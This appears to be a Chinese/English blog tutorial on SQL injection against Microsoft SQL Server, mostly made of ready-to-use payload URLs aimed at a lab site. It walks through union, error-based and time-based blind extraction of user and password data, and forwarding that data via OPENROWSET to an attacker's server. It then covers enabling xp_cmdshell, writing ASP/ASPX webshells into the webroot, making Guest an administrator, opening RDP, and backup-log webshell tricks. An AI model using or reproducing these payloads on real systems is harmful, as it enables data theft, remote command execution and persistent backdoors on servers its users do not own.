WEB security: SQL Server database SQL injection

Solemnly declare:
The purpose of writing this note is only to improve safety knowledge and to share safety knowledge with more people. Do not use the technology in the note for illegal activities. The consequences of using the technology in the note have nothing to do with the author. Advocate that everyone has the responsibility to maintain network security, and jointly maintain network civilization and harmony.

SQL Server database

SQL Server is a relational database management system launched by Microsoft.

1 SQL Server database SQL injection basics

  • Database suffix name:.mdf
  • Port number: 1433
  • Multi-statement operations can be executed at once in SQL Server:
  • Multiple SQL statements are separated by semicolons:select * from table1; select * from table2

1.1 SQL Server has three levels of authority:

  • sa authority : Has the highest authority of the SQL Server database. The sa user is short for System users.
  • db authority : grant the user the authority to operate the database. The dbo user is the abbreviation of Database Owner, which is the default user of each database and has owner permissions.
  • Public authority : By default, public users cannot access any user-created objects. public does not belong to a fixed database role, but all database users are its members and cannot be modified.

1.2 The 6 default libraries for SQL Server databases

4 system databases : master, model, msdb, tempdb. The model and tempdb have no data tables by default.

  1. The master database : Controls all aspects of SQL Server. This database includes all configuration information, user login information, and information about the processes currently running in the server.
  2. model database : It is a template for establishing all user databases. When you create a new database, SQL Server will create a copy of all objects in the model database and move it to the new database. After the template object is copied to the new user database, all the extra space in the database will be filled with empty pages.
  3. msdb database : is a special case in SQL Server. If you look at the actual definition of this database, you will find that it is actually a user database. The difference is that all task scheduling, alarms, and operators are stored in the msdb database. Another function of the library is to store all the backup history. SQL Server Agent will use this library.
  4. tempdb database : It is a very special database for all users who come to access your SQL Server. This library is used to store all temporary tables, stored procedures, and other temporary things created by SQL Server. For example, the tempdb database is used for sorting. The data is put into the tempdb database, and the results are returned to the user after sorting. Every time SQL Server restarts, it will empty the tempdb database and rebuild. Never create a table that needs to be stored permanently in the tempdb database.

2 instance databases : ReportServer, ReportServerTempDB.

ReportServer database : It can store SSRS configuration parts, report definitions, report metadata, report history, cache policies, snapshots, resources, security settings, encrypted data, scheduling and submission data, and extended information.

Note: Although users can directly access the database in the SSRS directory and can directly modify the objects used by SSRS; in practice, it is not recommended (or not supported) to do so, because the internal data and structure in the SSRS directory cannot It is guaranteed to be compatible with different versions of SSRS, service packs or patches.

ReportServerTempDB database : It is a temporary database used by SSRS. This database is responsible for storing intermediate processing results, such as session and execution data generated by the report server, cached reports, and worksheets.

1.3 Comment symbol

1. -- (--最后有一个空格)
2. /* content */ 

1.4 SQL Server injects common statements and functions

sys.database    # SQL server 中的所有数据库
sys.sql_logins  # SQL server 中的所有登录名
information_schema.tables   # 当前用户数据库中的表
information_schema.columns  # 当前用户数据库中的列
sys.all_collumns    # 用户定义对象和系统对象的所有列的联合
sys.database_principals # 数据库中每个权限或列异常权限
sys.database_files  # 存储在数据库中的数据库文件
sysobjects  # 数据库中创建的每个对象(例如约束、日志以及存储过程)

select @@version;       # 查询数据库的版本
select @@servername;    # 查询服务名
select host_name();     # 主机名,注:使用 Navicat 远程连接时,此结果是本地主机名,而非目标主机的主机名。
select db_name();       # 查询当前数据库名
select db_name(database_id);      # 指定要显示数据库名的 ID,"1-6" 是默认数据库,自定义创建的库从 "7" 开始。
select user;            # 查询当前数据库的拥有者

use labdb;             # 切换到 labdb 数据库  
top n       # 查询前n条记录:SELECT TOP 1 * FROM users;
limit raw_count, offset_num     # 查询第 raw_count 条开始的 offset_num 条数据
select substring('str',2,1);    # 截取给定字符串的索引为 2 的 1 个字符
select ascii('str');     # 查询给定字符串的 ascii 值
select len('str');       # 查询给定字符串的长度
sp_spaceused			 # 显示行数、保留的磁盘空间以及当前数据库中的表所使用的磁盘空间,或显示由整个数据库保留和使用的磁盘空间。
EXEC sp_spaceused @updateusage = 'TRUE';  # 查询当前已更新数据库的大小。
EXEC sp_spaceused 'table_name';       # 查询指定表大小

# 权限判断
# 判断是否是 SA 权限
select is_srvrolemember('sysadmin')     
# 判断是否是 db_owner 权限  
select is_member('db_owner')
# 判断是否是 public 权限
select is_srvrolemember('public')

1.5 in SQL Server INFORMATION_SCHEMA

In SQL Server INFORMATION_SCHEMAview you can retrieve metadata objects in the database. You can directly call the required data in the database of the current instance. MSSQL in INFORMATION_SCHEMAaccordance with ISO standards, so the query operation is similar to Mysql.

1.5.1 CatalogandSchema

  • From a hierarchical point of view : a database system contains multiple catalogs, each catalog contains multiple Schemas, and each Schema contains multiple database objects (tables, views, fields, etc.).
  • The fully qualified name of the database object :Catalog.Schema.Table
  • Purpose : Solve the problem of naming conflicts

2 Injection detection method

2.1 Normal query method

Observe the injectable points through normal query;

2.2 Detection method based on closed error

Generally, databases are use single quotes / closing double quotes, etc., if the input may be a single quote directly injection point '/ double quotes "database as multiple leads can not be closed while the input character error;

例:http://www.lab.com/index.aspx?id=1'

[SqlException (0x80131904): 字符串 '' 后的引号不完整。]

2.3 Boolean-based detection method

The detection method is judged based on whether the information returned by the page is the same, and then further confirms whether the server is executable

  • and 1=1
  • and 1=2

2.4 Time-based detection method

WAITFOR is a process control statement provided by Transact-SQL in SQL Server. Its role is to wait for a specific time, and then continue to execute subsequent statements.

WAITFOR { DELAY  'time' | TIME  'time' }
  DELAY:指等过了指定的时间过去后再执行 SQL 语句。
  TIME:指等到了指定的时间点后再执行 SQL 语句。
  'time':要等待的时间。可以按 datetime 数据可接受的格式指定 time,也可以用局部变量指定此参数。格式为"HH:MM:SS",不支持日期,最长可达 24 小时。

如:
waitfor delay ‘0:0:3’		# 等待 3 秒再执行操作。
waitfor time '01:01:01'		# 指定 1小时01分01秒时执行。

3 SQL Server query information

3.1 UnionJoint query injection method

3.1.1 Guess the number of table fields

order by 1: Query the current table contains several fields, try to change the number,

例:
http://www.lab.com/index.aspx?id=1 order by 3
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以 select NULL,NULL 想查询的数据

3.1.2 Query system information

  • union select 1,'2','3' Query statement used
  • Use union select null,null,查询函数query the database information system
  • Unlike the Mysql database, SQL Server uses a union query to require that the query content type of each column is consistent with the database field type.
  • In the SQL Server database, all fields support null (empty value), so you can use null to fill query fields.
1. 查询内容与数据库字段类型不一致报错
例: http://www.lab.com/index.aspx?id=1 union select null,null,@@version
# 在将 varchar 值 'sql_injection' 转换成数据类型 int 时失败。 

2. 查询数据库版本信息
例:http://www.lab.com/index.aspx?id=1 union select null,null,@@version

3. 查询数据库名
例:http://www.lab.com/index.aspx?id=1 union select null,null,db_name()

4. 查询主机名
例:http://www.lab.com/index.aspx?id=1 union select null,null,host_name()

5. 查询当前用户
例:http://www.lab.com/index.aspx?id=1 union select null,null,user_name()

3.1.3 Query database name

1. 查询所有数据库名称
select Name from sys.databases
例:http://www.lab.com/index.aspx?id=1 union select null,null,Name from sys.databases

2. 查询所有数据库名称
select null,null,Name from master..sysdatabases
http://www.lab.com/index.aspx?id=1 union select null,null,Name from master..sysdatabases

3.1.4 Query table name

1. 查询当前数据库中表的个数
select count(name) from sysobjects where type='u' 
例:
http://www.lab.com/index.aspx?id=-1 union select count(name),null,null from sys.objects where type='u'

2. 查询当前数据库中所有表的名称
select name from sysobjects where type='u'
例:
http://www.lab.com/index.aspx?id=-1 union select null,null,name from sys.objects where type='u'

3. 查询指定数据库中的表名称
select name from labdb..sysobjects where type='u'
例:
http://www.lab.com/index.aspx?id=-1 union select null,null,name from labdb..sysobjects where type='u'

3.1.5 Query table fields

1. 查询当前数据库指定 users 表的字段个数
select count(name) from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') 
例:
http://www.lab.com/index.aspx?id=-1 union select count(name),null,null from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') 

2. 查询当前数据库指定 users 表字段名字
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')  
例:
http://www.lab.com/index.aspx?id=-1 union select null,null,name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') 

3. 查询指定数据库指定 users 表字段个数
select count(name) from labdb..syscolumns where id=(select max(id) from labdb..sysobjects where xtype='u' and name='users') 
例:
http://www.lab.com/index.aspx?id=-1 union select count(name),null,null from labdb..syscolumns where id=(select max(id) from labdb..sysobjects where xtype='u' and name='users') 

3.1.6 Query data content

# 查询指定数据库中指定 users 表字段数据
select null,user,password from labdb..users
例:
http://www.lab.com/index.aspx?id=-1 union select null,user,password from labdb..users

3.2 Error injection

When SQL Server executes the wrong SQL statement, it will display the error message on the page. The error message will contain the information we need.

3.2.1 Query system information

  • Use SQL Server to convert the type to report an error and display the information to be queried
  • The query content is that the string type cannot be compared with the int type, so an error is reported.
1. 查询数据库版本信息
http://www.lab.com/index.aspx?id=-1 and @@version>0

2. 查询主机名
host_name()

3. 查询当前用户
user_name()

3.2.2 Query the database

1. 查询当前数据库名称
db_name()
例:
http://www.lab.com/index.aspx?id=1 and db_name()>0

2. 查询其他数据库
2.1 db_name(database_id)
# database_id 依次+1 可遍历出所有的数据库名称
http://www.lab.com/index.aspx?id=1 and db_name(2)>0

2.2 依次排除法查询其他数据库
2.2.1 查询第一个数据库
select top 1 name from master..sysdatabases
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from master..sysdatabases)>0

2.2.2 排除已知的数据库继续查询
select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS'))>0

3.2.3 Query table name

1 指定数据库查询表名称
select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0)>0

1.1 查询其他表名称
select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('users')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from [labdb].sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('users'))>0

2.2 依次排除法查询表名称
2.2.1 查询第一个表名称
select top 1 name from sys.objects where type='u'
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from sys.objects where type='u')>0

2.2.2 排除已知的表名称继续查询
select top 1 name from sys.objects where type='u' and name not in ('table1','table2')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 name from sys.objects where type='u' and name not in ('table1','table2'))>0

3.2.4 Query table field names

1. 依次排除法查询表字段名称
1.1 查询第一个表字段名称
select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users'
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users')>0

1.2 排除已知的表字段名称继续查询
select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','user')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 column_name from labdb.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','user'))>0

3.2.5 Query data content

1. 依次排除法查询数据内容
1.1 查询第一个数据内容
select top 1 user from users
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 user from users)>0

1.2 查询第二个数据内容
select top 1 user from users where user not in ('admin')
例:
http://www.lab.com/index.aspx?id=1 and (select top 1 user from users where user not in ('admin'))>0

3.3 using the information_schemaquery method

3.3.1 Query current user

# 用户名称为 dbo
http://www.lab.com/index.aspx?id=1 and user_name()>0

3.3.2 Query the current database name

# 数据库名称 labdb
http://www.lab.com/index.aspx?id=1 and db_name()>0

3.3.2 Query all table names

  • FOR XML PATHThe purpose is to output the query results according to the rows XML. The reason is: When more than one sub-query when the value returned, MSSQL does not allow subqueries follow =、!=、<、<=、>、>=after, or subquery used as an expression;
# 由当前库获取当前库的所有表名
1. 方式一:推荐
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH
例:
http://www.lab.com/index.aspx?id=1 and (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>0


2. 方式二
select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG=db_name()
例:
http://www.lab.com/index.aspx?id=1 and (select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG=db_name() FOR XML PATH)>0

3.3.3 Query table field names

1. 查询当前表中所有字段名称
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users'
例:
http://www.lab.com/index.aspx?id=1 and (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' FOR XML PATH)>0

3.3.4 Query field data

1. 查询当前字段中所有数据
select * from users
例:
http://www.lab.com/index.aspx?id=1 and (select * from users FOR XML PATH)>0

2. 查询指定字段所有数据
select user,password from users
例:
http://www.lab.com/index.aspx?id=1 and (select user,password from users FOR XML PATH)>0

3.4 Delayed injection (blind injection)

3.4.1 Guess the solution verbatim

principle:

  • substring('str',2,1) # Intercept 1 character with index 2 of a given string
1. 方式一:猜解字符
if(substring(db_name(),1,1)='l') waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(substring(db_name(),1,1)='l') waitfor delay '0:0:3'

2. 方式二:猜解 ASCII 码数值
http://www.lab.com/index.aspx?id=1 if(ascii(substring(db_name(),1,1))=108) waitfor delay '0:0:3'

3.4.2 Dichotomy Guessing Method

Principle :

  • Convert characters to ASCII code values
  • By comparing the ASCII code value of the intercepted characters, find the corresponding ASCII code value in half
  • Combine the found characters together, that is, the content to be queried.

3.4.2.1 Guess the database name

1. 确认所查询数据库名称的长度
http://www.lab.com/index.aspx?id=1 if(len(db_name())=5) waitfor delay '0:0:3'

2. 二分法猜解数据内容
# 假设查找字符为 ‘l’
2.1. 先与 ASCII 中间值比较
if(ascii(substring(db_name(),1,1))>63) waitfor delay '0:0:3'

2.2. 再比较 64-127 中间数值
if(ascii(substring(db_name(),1,1))>95) waitfor delay '0:0:3'

2.3. 再比较 96-127 中间数值
if(ascii(substring(db_name(),1,1))>107) waitfor delay '0:0:3'

2.4. 再比较 111-127 中间数值
if(ascii(substring(db_name(),1,1))>111) waitfor delay '0:0:3'

2.5. 再比较 108-111 中间数值
if(ascii(substring(db_name(),1,1))>109) waitfor delay '0:0:3'

2.6. 再比较 108-109 中间数值
if(ascii(substring(db_name(),1,1))=108) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring(db_name(),1,1))>63) waitfor delay '0:0:3'

3.4.2.2 Guess the name of the table

1. 确定表名称长度
if(len((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'))>3) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'))>3) waitfor delay '0:0:3'

2. 猜解表名称
if(ascii(substring((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'),1,1))>117) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo'),1,1))>117) waitfor delay '0:0:3'

3.4.2.3 Guess the name of the table field

1. 确定表字段名称长度
if(len((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')))>4) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')))>4) waitfor delay '0:0:3'

2. 猜解表字段名称
if(ascii(substring((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')),1,1))=117) waitfor delay '0:0:3'
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and COLUMN_NAME not in ('id')),1,1))=117) waitfor delay '0:0:3'

3.4.2.4 Guess the data content

1. 确定第一行数据长度
if(len((select top 1 user from users))>4) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 user from users))>4) waitfor delay '0:0:3'

2.确定第二行数据长度
if(len((select top 1 user from users where user not in ('admin')))=6) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(len((select top 1 user from users where user not in ('admin')))=6) waitfor delay '0:0:3'

3. 猜解第一行数据内容
if(ascii(substring((select top 1 user from users),1,1))=97) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 user from users),1,1))=97) waitfor delay '0:0:3'

4. 猜解第二行数据内容
if(ascii(substring((select top 1 user from users where user not in ('admin')),1,1))=117) waitfor delay '0:0:3'
例:
http://www.lab.com/index.aspx?id=1 if(ascii(substring((select top 1 user from users where user not in ('admin')),1,1))=117) waitfor delay '0:0:3'

3.5 openrowset forward injection (blind injection)

Principle :

  • Forward the current data to the remote SQL Server, breaking through the limitation that cannot be stacked

Conditions of use :

  • A machine with SQL Server is required locally
  • Need to open the server Ad Hoc Distributed Queriescomponents: MSSQL 2005 and beyond, MSSQL system stored procedures to do access control, Ad Hoc Distributed Queriesthe component is not enabled by default.

Openrowset syntax format:

OPENROWSET
( { 'provider_name'
    , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
    , {   <table_or_view> | 'query' }
   | BULK 'data_file' ,
       { FORMATFILE = 'format_file_path' [ <bulk_options> ]
       | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

SELECT * FROM OPENROWSET('SQLOLEDB','';'OUSER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
SELECT * FROM OPENRONSET('SQLNCLI','server= (local);trusted connection-yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')

3.5.1 open Ad Hoc Distributed Queriesassembly

1. 将显示高级选项的值设置为 1
exec sp_configure 'show advanced options',1;
2. 保存配置
reconfigure;
3. 使能 Ad Hoc Distributed Queries 组件
exec sp_configure 'Ad Hoc Distributed Queries',1;
4. 保存配置
reconfigure;
5. 查看是否开启相关组件
select name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
select name,value_in_use from sys.configurations where name like '%cmdshell%'

例:
http://www.lab.com/index.aspx?id=1;exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
  • Turn off the Ad Hoc Distributed Queries component
exec sp_configure 'Ad Hoc Distributed Queries',0 ;reconfigure;
exec sp_configure 'show advanced options',0 ;reconfigure;

3.5.2 Configuration on the local SQL Server

1. 创建与目标数据库一致的数据库名称
and db_name()>0 获取远程数据库名称
例:
http://www.lab.com/index.aspx?id=1 and db_name()>0

2. 在本地建立临时表:表名称前"##"表示该表为临时表,注意创建表时所选择的数据库名称
create table ##getdb (db_name varchar(500))

3. 确认临时表建立成功
select * from ##getdb

3.5.3 Forward remote host data to the local host

1. payload,server,uid,password 分别为本地 SQL Server 的 IP,uid,pwd
insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23getdb' ) select db_name()
例:
http://www.lab.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23getdb' ) select db_name()

2. 在本地主机查看 ##getdb 表是否增加新数据,以确认 payload 是否执行成功
select * from ##getdb

3.5.4 Create new temporary tables on both sides

  • We have no way to create general tables, we can only create temporary tables
1. 远程主机创建新临时表,注意创建表时所选择的数据库名称
create table ##table_path( path ntext, num int )
例:
http://www.lab.com/index.aspx?id=1;create table %23%23table_path( path ntext, num int )

2. 本地主机创建新临时表,注意创建表时所选择的数据库名称
create table ##table_path( path ntext, num int )

3. 确认表是否建立成功
select * from ##table_path

3.5.5 Query path

  • exec master.dbo.xp_dirtree 'c:\' Only display the structure of directories (excluding files); xp_dirtree only supports int type except the first parameter which can be ntext type.
1. 调用存储过程把执行回来的数据存到临时表里面,向 ##table_path 表中插入远程主机 C 盘下所有路径数据
insert %23%23table_path execute master..xp_dirtree 'c:/',1
例:
http://www.lab.com/index.aspx?id=1;insert %23%23table_path execute master..xp_dirtree 'c:/',1

2. 将数据转发到本地主机上
insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23table_path' ) select * from %23%23table_path
例:
http://www.lab.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.100.138;uid=sa;pwd=password', 'select * from %23%23table_path' ) select * from %23%23table_path

3. 本地主机查询 ##table_path 获取数据
select * from ##table_path

4 SA user control host

4.1 Obtaining host permissions

Principle : the use of SA permissions enable xp_cmdshellobtaining permission to host

  • xp_cmdshellDefault mssql2000is turned on, in mssql2005later versions disabled by default
  • If the acquisition of database users have sa permission, you can use sp_configurethe command enablexp_cmdshell
1. 判断是否使能 xp_cmdshell ,1为打开,0 为关闭
select count(*) from master..sysobjects where xtype = 'X' and name = 'xp_cmdshell'
例:
http://www.lab.com/index.aspx?id=-1 union select (select count(*) from master..sysobjects where xtype = 'X' and name = 'xp_cmdshell'),null,null

2. 如果 xp_cmdshell 没有开启,则执行以下步骤使能 xp_cmdshell
# 将显示高级选项的值设置为 1
exec sp_configure 'show advanced options',1;
# 保存设置
reconfigure;
# 将 xp_cmdshell 的值设置为 1
exec sp_configure 'xp_cmdshell',1;
# 保存设置
reconfigure;
# 查看配置
/*
配置情况需登陆 MSSQL 服务器查看
exec sp_configure;
# 执行系统命令,验证是否成功开启 xp_cmdshell
exec xp_cmdshell 'ipconfig';
*/
例:
http://www.lab.com/index.aspx?id=1;exec sp_configure 'show advanced options',1;
# 依次执行以上语句开启 xp_cmdshell

3. 一次执行所有命令使能 xp_cmdshell
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
例:
http://www.lab.com/index.aspx?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;

4. 另一种执行方式
# 将显示高级选项的值设置为 1
execute('sp_configure "show advanced options",1')
# 保存设置
execute('reconfigure')
# 将 xp_cmdshell 的值设置为 1
execute('sp_configure "xp_cmdshell", 1')
# 保存设置
execute('reconfigure')
/*
配置情况需登陆 MSSQL 服务器查看
# 查看配置
execute('sp_configure')
# 执行系统命令
execute('xp_cmdshell "ipconfig"')
*/

4.2 Use xp_cmdshell

4.2.1 Upload WEBShell file

Conditions of use:

  • Target website path allows writing
1. 上传 asp 一句话文件
1.1 方式一
exec master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp';
例:
http://www.lab.com/index.aspx?id=1;exec master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp';

1.2 方式二:使用 ASCII 码的形式设备一句话密码
exec master..xp_cmdshell 'echo ^<%eval request(chr(99))%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp'
例:
http://www.lab.com/index.aspx?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(99))%^> > C:\inetpub\wwwroot\www.lab.com\webshell.asp';

2. 上传 aspx 一句话文件
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["cmd"],"unsafe");%^>>C:\inetpub\wwwroot\www.lab.com\webshell.aspx';
例:
http://www.lab.com/index.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["cmd"],"unsafe");%^>>C:\inetpub\wwwroot\www.lab.com\webshell.aspx';

3. 执行系统命令并将结果输出到指定文件
exec master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.lab.com\ipconfig.txt';
例:
http://www.lab.com/index.aspx?id=1;exec master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.lab.com\ipconfig.txt';

4.2.2 Execute system commands

Conditions of use:

  • The premise is that the obtained current host permissions belong to the administrators group
1. 开启远程桌面
1.1 设置 guest 用户密码
exec xp_cmdshell 'net user Guest 123456';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'net user Guest 123456';

1.2 启用 guest 用户
exec xp_cmdshell 'net user Guest /active:yes';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'net user Guest /active:yes';

1.3 添加 guest 用户到 administrators 用户组
exec xp_cmdshell 'net localgroup administrators Guest /add';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'net localgroup administrators Guest /add';

1.4 开启3389端口
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f';
例:
http://www.lab.com/index.aspx?id=1;exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f';

4.3 LOG backup Getshell

Principle :

  • Write a sentence in the process of using the backup
  • Utilization premise : at least DBO permissions
  1. The database backup file exists on the target machine
  2. Know the absolute path of the website, and can write
  3. Station library is not separated
  4. The injection supports stack injection
1. 修改数据库恢复模式为完整模式
alter database database_name set RECOVERY FULL;
例:
http://www.lab.com/index.aspx?id=1;alter database labdb set RECOVERY FULL;

2. 创建一张表 table_name,只有一个列 a,类型为 image
create table table_name (a image);
例:
http://www.lab.com/index.aspx?id=1;create table table_tmp (a image);

3. 备份数据库到指定路径
backup log 数据库名 to disk= 'C:\inetpub\wwwroot\www.lab.com\labdb.bak' with init;
例:
http://www.lab.com/index.aspx?id=1;backup log labdb to disk= 'C:\inetpub\wwwroot\www.lab.com\labdb.bak' with init;

4. 将一句话写入到 table_name 表里
insert into table_name (a) values(0x一句话木马[16进制表示]);
例:<%execute(request("cmd"))%>
http://www.lab.com/index.aspx?id=1;insert into table_tmp (a) values(0x3c256578656375746528726571756573742822636d64222929253e);

5. 把包含 webshell 的操作日志备份到指定文件
backup log database_name to disk='C:\inetpub\wwwroot\www.lab.com\webshell.asp';
例:
http://www.lab.com/index.aspx?id=1;backup log labdb to disk='C:\inetpub\wwwroot\www.lab.com\webshell.asp';

6. 删除 table_name 表
drop table table_name;
例:
http://www.lab.com/index.aspx?id=1;drop table table_tmp;

7. 一句话上传 webshell
http://www.lab.com/index.aspx?id=1;drop table table_tmp;create table table_tmp (a image);backup log labdb to disk ='C:/inetpub/wwwroot/www.lab.com/labdb.bak' with init; insert into table_tmp (a) values (0x3c256578656375746528726571756573742822636d64222929253e);backup log labdb to disk = 'C:/inetpub/wwwroot/www.lab.com/webshell.asp';drop table table_tmp;

Differential backup is not recommended because it often makes mistakes and is unstable. (To understanding)

Principle :

  • Write a sentence in the process of using the backup
  • Utilization premise : at least DBO permissions
  1. The database backup file exists on the target machine
  2. Know the absolute path of the website, and can write
  3. Station library is not separated
  4. The amount of data cannot be too large
  5. HTTP 500 error is not custom
  6. The injection supports stack injection
1. 若目标主机数据库没有备份过,需先将数据库备份一次
backup database database_name to disk = 'C:\inetpub\wwwroot\www.lab.com\labdb.bak';

# 若命令被过滤
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份文件完整路径 backup database @a to [email protected];
注:0x备份的数据库文件完整路径转换成 16 位进制,db_name() 里面可以加数字备份不同的数据库

2. 创建一张表 table_name ,字段 a 类型为 image
create table databse_name..table_name(a image);
create table [dbo].[table_name] ([a] [image])

3. 插入一句话到 table_name 表里
insert into databse_name..table_name(a) values (0x一句话)
insert into [table_name](a) values(0x一句话)

4. 进行差异备份
backup database databse_name to disk = 'C:\inetpub\wwwroot\www.lab.com\labdb.bak' with differential,format;
# 若命令被过滤
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份文件完整路径 backup database @a to [email protected] with differential,format;

6. 删除 table_name 表
Drop table 数据库..表名;
Drop table [table_name];